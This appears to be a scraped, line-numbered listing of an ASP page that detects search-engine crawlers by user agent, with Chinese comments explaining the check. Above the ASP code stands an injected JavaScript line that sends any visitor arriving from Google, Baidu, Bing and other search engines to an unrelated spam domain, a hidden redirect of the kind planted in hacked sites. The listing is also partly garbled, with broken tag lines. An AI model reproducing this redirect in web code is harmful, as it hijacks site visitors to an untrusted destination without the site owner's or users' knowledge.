d:\wwwroot\wuchunhua\laiyuan.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
002:
'检查当前用户是否是蜘蛛人
003:
Function check(user_agent)
004:
allow_agent=split("Baiduspider,Scooter,ia_archiver,Googlebot,FAST-WebCrawler,MSNBOT,Slurp",",")
005:
check_agent=false
006:
For agenti=lbound(allow_agent) to ubound(allow_agent)
007:
If instr(user_agent,allow_agent(agenti))>0 then
008:
check_agent=true
009:
exit for
010:
end if
011:
Next
012:
check=check_agent
013:
End function
014:
user_agent=Request.ServerVariables("HTTP_USER_AGENT")
015:
'check(user_agent)=true则判定访问为蜘蛛人
016:
response.write check(user_agent)
017:
018:
%
>
019:
：如果false则为手动输入，true则为蜘蛛
020:
021:
022: